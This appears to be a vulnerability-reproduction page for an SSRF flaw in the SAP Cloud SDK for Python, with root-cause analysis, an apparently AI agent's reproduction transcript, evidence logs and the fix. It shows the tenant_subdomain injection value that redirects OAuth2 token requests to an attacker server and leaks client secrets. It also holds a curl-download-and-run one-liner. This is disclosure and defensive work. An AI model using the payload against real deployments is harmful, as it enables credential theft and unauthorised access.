CVE-2026-89111: Verified Reproduction
CVE-2026-89111: SAP Cloud SDK for Python is vulnerable to OAuth2 SSRF that can exfiltrate client credentials when tenant subdomain is attacker-controlled.
CVE-2026-89111 is verified against SAP/cloud-sdk-python · PyPI. Affected versions: < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check). Fixed in 0.45.2. Vulnerability class: SSRF. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00387.
What Is CVE-2026-89111?
CVE-2026-89111 is a critical-severity SSRF vulnerability affecting SAP/cloud-sdk-python < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check). Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00387).
CVE-2026-89111 Severity & CVSS Score
CVE-2026-89111 is rated critical severity, with a CVSS base score of 10.0 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected SAP/cloud-sdk-python Versions
SAP/cloud-sdk-python · PyPI versions < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check) are affected.
How to Reproduce CVE-2026-89111
pruva-verify REPRO-2026-00387 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00387/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-89111
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
tenant_subdomain parameter passed to TokenProvider.get_token()
- sap_cloud_sdk.destination._http.TokenProvider.get_token()
- token_url.replace(identityzone, tenant_subdomain)
- OAuth2Session.fetch_token() to attacker host
How the agent worked
Root Cause and Exploit Chain for CVE-2026-89111
server-side request forgery (SSRF) vulnerability in its multi-tenant token
handling. When a caller supplies a tenant_subdomain, the SDK derives the
per-tenant OAuth2 token URL by performing an unvalidated string replacement of
the provider identity zone inside the configured token URL
(token_url.replace(identityzone, tenant_subdomain)). An attacker who controls
tenant_subdomain can therefore rewrite the token endpoint host to an
attacker-controlled server, causing the SDK to POST the OAuth2
client_id/client_secret to the attacker — credential exfiltration.
(the same pattern was also fixed in sap_cloud_sdk/dms/_auth.py and
sap_cloud_sdk/agentgateway/agw_client.py).
- Affected versions:
< 0.45.2; patched in0.45.2. - Risk: Critical (CVSS 10.0,
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, CWE-918). Consequences: theft of OAuth2 client credentials for the BTP Destination/DMS/Agent-Gateway service bindings, enabling downstream unauthorized access within the client's roles and scopes.
Impact Parity
- Disclosed/claimed maximum impact: SSRF with OAuth2 client-credential exfiltration to an attacker-controlled server.
- Reproduced impact from this run: full SSRF with credential exfiltration —
the vulnerable SDK (0.45.1) sent a live
POSTcontainingclient_idandclient_secretto the attacker-controlled HTTPS server and accepted the attacker-issued access token. - Parity: full.
- Not demonstrated: none beyond the claim (no code execution is claimed or required; the impact class is SSRF / credential disclosure).
Root Cause
In sap_cloud_sdk/destination/_http.py (vulnerable 0.45.1),
TokenProvider.get_token() contains:
if tenant_subdomain:
try:
token_url = token_url.replace(str(identityzone), tenant_subdomain)
except Exception:
token_url = self._config.token_url
tenant_subdomain is concatenated into the URL without any validation.
With a configured provider token URL such as
https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token
(identityzone = "provider-zone"), an attacker value of
127.0.0.1:<port>/capture? produces
https://127.0.0.1:<port>/capture?.authentication.eu10.hana.ondemand.com/oauth/token
— the host becomes the attacker's server and the remainder of the legitimate
URL is demoted into the query string. The subsequent
OAuth2Session.fetch_token() then POSTs
grant_type=client_credentials&client_id=...&client_secret=... to the
attacker.
The same unvalidated replace() pattern existed in
sap_cloud_sdk/dms/_auth.py::_resolve_token_url() and the agent-gateway
client's tenant subdomain handling.
Fix (0.45.2): a new module sap_cloud_sdk/core/_tenant.py adds
_validate_tenant_subdomain(), which enforces a single RFC 1123 DNS label
(^[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?$) and raises ValueError
before any URL substitution, in all three affected call sites.
Advisory: GHSA-4mv3-jxxm-9cx2
(https://github.com/SAP/cloud-sdk-python/security/advisories/GHSA-4mv3-jxxm-9cx2).
Reproduction Steps
bundle/repro/reproduction_steps.sh(helpers:bundle/repro/attacker_server.py,bundle/repro/harness.py).- The script:
- downloads the pinned PyPI wheels
sap-cloud-sdk==0.45.1(vulnerable) andsap-cloud-sdk==0.45.2(fixed) and records their SHA-256; - creates a venv and installs the vulnerable wheel with its real dependency tree;
- starts an attacker-controlled HTTPS capture server
(
attacker_server.py, self-signed cert trusted viaREQUESTS_CA_BUNDLE) that logs every inbound request and answers with a valid token response; - runs
harness.py, which calls the realTokenProvider.get_token(tenant_subdomain="127.0.0.1:<port>/capture?"); - verifies the captured request contains the client credentials;
- force-reinstalls 0.45.2 and repeats: the fixed SDK must raise
ValueError: Invalid tenant_subdomainand send nothing.
- downloads the pinned PyPI wheels
- Expected evidence:
proof_vuln_capture.jsonlcontains a POST whose body includesclient_secret=TOP-SECRET-CLIENT-SECRET, and the vulnerable harness returnsATTACKER_ISSUED_TOKEN; the fixed harness reportsrejectedandproof_fixed_capture.jsonlis empty.
Evidence
bundle/logs/reproduction_steps.log— full run transcript.bundle/logs/proof_vuln_capture.jsonl— attacker-server capture of the credential-bearing POST, e.g.:POST /capture?.authentication.eu10.hana.ondemand.com/oauth/tokenwith bodygrant_type=client_credentials&client_id=sb-destination-client%21t0&client_secret=TOP-SECRET-CLIENT-SECRET(Host:127.0.0.1:<port>— attacker server, not the SAP endpoint).bundle/logs/harness_vuln_result.json—{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}.bundle/logs/harness_fixed_result.json—{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:<port>/capture?'"}.bundle/logs/proof_fixed_capture.jsonl— empty (no outbound request).bundle/repro/runtime_manifest.json— entrypoint, target identity (wheel SHA-256), and per-artifact SHA-256 hashes.- Environment: Python 3.14 venv, real
sap-cloud-sdkwheels from PyPI, OpenSSL 3.5.5 self-signed cert for the attacker HTTPS endpoint.
Recommendations / Next Steps
- Upgrade to
sap-cloud-sdk >= 0.45.2(and prefer a currently validated release; independent reporting noted validation gaps in 0.53.0–0.55.0 with validation restored in 0.55.1). - The 0.45.2 fix approach (RFC 1123 label validation before substitution) is
correct; defense-in-depth would additionally rebuild the URL by replacing
only the hostname subcomponent instead of a free-text
str.replaceover the whole URL. - Applications should validate
tenant_subdomainagainst an allowlist of registered tenants and monitor/alert on outbound token requests to unexpected hosts; rotate credentials suspected of exposure.
Additional Notes
- Idempotency: the script reuses its venv/wheels/certs when present and
re-verifies versions each run; it was executed twice consecutively, both
runs
RESULT: CONFIRMED(exit 0). - The lab uses
https://127.0.0.1:<port>as the attacker host with a self-signed cert trusted only inside the test process (REQUESTS_CA_BUNDLE), keeping the OAuth2 transport HTTPS exactly as in production (oauthlib enforces HTTPS; no security feature was disabled). - The vulnerable surface is a library API (
claimed_surface=library_api,entrypoint_kind=function_call), so a direct call into the real installed SDK is the production code path; no mock or reimplementation is used.
CVE-2026-89111 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /pruva/project-cache/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; ls /pruva/project-cache/repo-mirrors 2>/dev/nulltotal 4
drwx------ 4 vscode vscode 80 Oct 15 12:56 .
drwxr-xr-x 3 root root 4096 Oct 15 12:56 ..
drwx------ 2 vscode vscode 60 Oct 15 12:56 .pruva
drwx------ 2 vscode vscode 40 Oct 15 12:56 repo-mirrors
{
"schema_version": 1,
"entries": [pip download 'sap-cloud-sdk==0.45.2' --no-deps -d /tmp/sdk-fixed 2>&1 | tail -3; pip download 'sap-cloud-sdk<0.45.2' --no-deps -d /tmp/sdk-vuln 2>&1 | tail -3; pip index versions sap-cloud-sdk 2>&1 | head -5{"cwd":"/workspace","duration_ms":1656,"exit_code":0,"stderr":"","stdout":" ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 531.0/531.0 kB 5.5 MB/s eta 0:00:00\nSaved /tmp/sdk-fixed/sap_cloud_sdk-0.45.2-py3-none-any.whl\nSuccessfully downloaded sap-cloud-sdk\n ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 530.4/530.4 kB 6.7 MB/s eta 0:00:00\nSaved /tmp/sdk-vuln/sap_cloud_sdk-0.45.1-py3-none-any.whl\nSuccessfully downloaded sap-cloud-sdk\nsap-cloud-sdk (0.58.5)\nAvailable versions: 0.58.5, 0.58.4, 0.58.3, 0.58.2, 0.58.1, 0.58.0, 0.57.2, 0.57.1, 0.57.0, 0.56.0, 0.55.3, 0.55.2, 0.55.1, 0.55.0, 0.54.0, 0.53.3, 0.53.2, 0.53.1, 0.53.0, 0.52.2, 0.52.1, 0.52.0, 0.51.1, 0.51.0, 0.50.0, 0.49.2, 0.49.1, 0.49.0, 0.48.2, 0.48.1, 0.48.0, 0.47.0, 0.46.1, 0.46.0, 0.45.4, 0.45.3, 0.45.2, 0.45.1, 0.45.0, 0.44.0, 0.43.2, 0.43.0, 0.42.0, 0.41.0, 0.40.1, 0.40.0, 0.39.1, 0.39.0, 0.38.0, 0.37.0, 0.36.2, 0.36.1, 0.36.0, 0.35.0, 0.34.0, 0.33.2, 0.33.1, 0.33.0, 0.32.1, 0.32.0, 0.31.0, 0.30.0, 0.29.1, 0.29.0, 0.28.1, 0.28.0, 0.27.1, 0.27.0, 0.26.1, 0.26.0, 0.25.2, 0.25.1, 0.25.0, 0.24.0, 0.23.2, 0.23.1, 0.23.0, 0.22.0, 0.21.1, 0.21.0, 0.20.2, 0.20.1, 0.20.0, 0.19.3, 0.19.2, 0.19.1, 0.19.0, 0.18.4, 0.18.3, 0.18.2, 0.… [truncated]cd /tmp && mkdir -p vuln fixed && cd vuln && unzip -oq /tmp/sdk-vuln/*.whl && cd ../fixed && unzip -oq /tmp/sdk-fixed/*.whl && cd /tmp && diff -rq vuln fixed | grep -v '.dist-info' | head -30Files vuln/sap_cloud_sdk/agentgateway/agw_client.py and fixed/sap_cloud_sdk/agentgateway/agw_client.py differ Files vuln/sap_cloud_sdk/agentgateway/user-guide.md and fixed/sap_cloud_sdk/agentgateway/user-guide.md differ Only in fixed/sap_cloud_sdk/core: _tenant.py Files vuln/sap_cloud_sdk/core/telemetry/user-guide.md and fixed/sap_cloud_sdk/core/telemetry/user-guide.md differ Files vuln/sap_cloud_sdk/destination/_http.py and fixed/sap_cloud_sdk/destination/_http.py differ Files vuln/sap_cloud_sdk/dms/_auth.py and fixed/sap_cloud_sdk/dms/_auth.py differ Files vuln/sap_cloud_sdk/outputmanagement/user-guide.md and fixed/sap_cloud_sdk/outputmanagement/user-guide.md differ
cd /tmp && cat fixed/sap_cloud_sdk/core/_tenant.py; echo '===DIFF destination/_http.py==='; diff -u vuln/sap_cloud_sdk/destination/_http.py fixed/sap_cloud_sdk/destination/_http.py | head -120{"cwd":"/workspace","duration_ms":55,"exit_code":0,"stderr":"","stdout":"import re\n\n\n_SUBDOMAIN_RE = re.compile(r\"^[A-Za-z0-9](?:[A-Za-z0-9\\-]{0,61}[A-Za-z0-9])?$\")\n\n\ndef _validate_tenant_subdomain(tenant_subdomain: str | None) -> None:\n \"\"\"Validate that *tenant_subdomain* is a single RFC 1123 DNS label.\n\n A valid label contains only ASCII letters, digits, and hyphens, must not\n start or end with a hyphen, and is at most 63 characters long.\n If *tenant_subdomain* is ``None``, the call is a no-op.\n\n Raises:\n ValueError: If *tenant_subdomain* does not match the expected format.\n \"\"\"\n if tenant_subdomain is None:\n return\n if not _SUBDOMAIN_RE.fullmatch(tenant_subdomain):\n raise ValueError(f\"Invalid tenant_subdomain: {tenant_subdomain!r}\")\n===DIFF destination/_http.py===\n--- vuln/sap_cloud_sdk/destination/_http.py\t2020-02-02 00:00:00.000000000 +0000\n+++ fixed/sap_cloud_sdk/destination/_http.py\t2020-02-02 00:00:00.000000000 +0000\n@@ -18,6 +18,7 @@\n \n from sap_cloud_sdk.destination.config import DestinationConfig\n from sap_cloud_sdk.destination.exceptions import HttpError\n+from sap_cloud_sdk.core._tenant… [truncated]cd /tmp && sed -n '1,130p' vuln/sap_cloud_sdk/destination/_http.py{"cwd":"/workspace","duration_ms":28,"exit_code":0,"stderr":"","stdout":"\"\"\"Simplified HTTP and OAuth utilities for Destination Service.\n\nInitial version: no retries and no explicit timeouts.\n- TokenProvider: OAuth2 client-credentials (no caching).\n- DestinationHttp: Single-shot HTTP requests, adds Authorization header.\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom typing import Any, Dict, Optional\nfrom enum import Enum\n\nimport requests\nfrom requests import Response\nfrom requests.exceptions import RequestException\nfrom oauthlib.oauth2 import BackendApplicationClient\nfrom requests_oauthlib import OAuth2Session\n\nfrom sap_cloud_sdk.destination.config import DestinationConfig\nfrom sap_cloud_sdk.destination.exceptions import HttpError\n\n# API version constants\nAPI_V1 = \"v1\"\nAPI_V2 = \"v2\"\n\n\nclass HttpMethod(Enum):\n \"\"\"HTTP method enumeration for request verb selection.\"\"\"\n\n GET = \"GET\"\n POST = \"POST\"\n PUT = \"PUT\"\n PATCH = \"PATCH\"\n DELETE = \"DELETE\"\n\n\nclass TokenProvider:\n \"\"\"Provides OAuth2 access tokens with in-memory caching and proactive refresh.\"\"\"\n\n def __init__(self, config: DestinationCon… [truncated]cd /tmp && diff -u vuln/sap_cloud_sdk/dms/_auth.py fixed/sap_cloud_sdk/dms/_auth.py | head -80; echo '===AGW==='; diff -u vuln/sap_cloud_sdk/agentgateway/agw_client.py fixed/sap_cloud_sdk/agentgateway/agw_client.py | head -80{"cwd":"/workspace","duration_ms":52,"exit_code":0,"stderr":"","stdout":"--- vuln/sap_cloud_sdk/dms/_auth.py\t2020-02-02 00:00:00.000000000 +0000\n+++ fixed/sap_cloud_sdk/dms/_auth.py\t2020-02-02 00:00:00.000000000 +0000\n@@ -10,6 +10,7 @@\n DMSPermissionDeniedException,\n )\n from sap_cloud_sdk.dms.model import DMSCredentials\n+from sap_cloud_sdk.core._tenant import _validate_tenant_subdomain\n \n logger = logging.getLogger(__name__)\n \n@@ -65,6 +66,8 @@\n def _resolve_token_url(self, tenant_subdomain: Optional[str]) -> str:\n if not tenant_subdomain:\n return self._credentials.token_url\n+ _validate_tenant_subdomain(tenant_subdomain)\n+\n logger.debug(\"Resolving token URL for tenant '%s'\", tenant_subdomain)\n return self._credentials.token_url.replace(\n self._credentials.identityzone,\n===AGW===\n--- vuln/sap_cloud_sdk/agentgateway/agw_client.py\t2020-02-02 00:00:00.000000000 +0000\n+++ fixed/sap_cloud_sdk/agentgateway/agw_client.py\t2020-02-02 00:00:00.000000000 +0000\n@@ -37,6 +37,7 @@\n MCPTool,\n MCPToolFilter,\n )\n+from sap_cloud_sdk.core._tenant import _validate_tenant_subdomain\n from sap_cloud_sdk… [truncated]Artifacts and Evidence for CVE-2026-89111
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-89111
Upgrade SAP/cloud-sdk-python · PyPI to 0.45.2 or later.
FAQ: CVE-2026-89111
Is CVE-2026-89111 exploitable?
How severe is CVE-2026-89111?
What type of vulnerability is CVE-2026-89111?
Which versions of SAP/cloud-sdk-python are affected by CVE-2026-89111?
Is there a fix for CVE-2026-89111?
How can I reproduce CVE-2026-89111?
Is the CVE-2026-89111 reproduction verified?
References for CVE-2026-89111
Authoritative sources for CVE-2026-89111 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.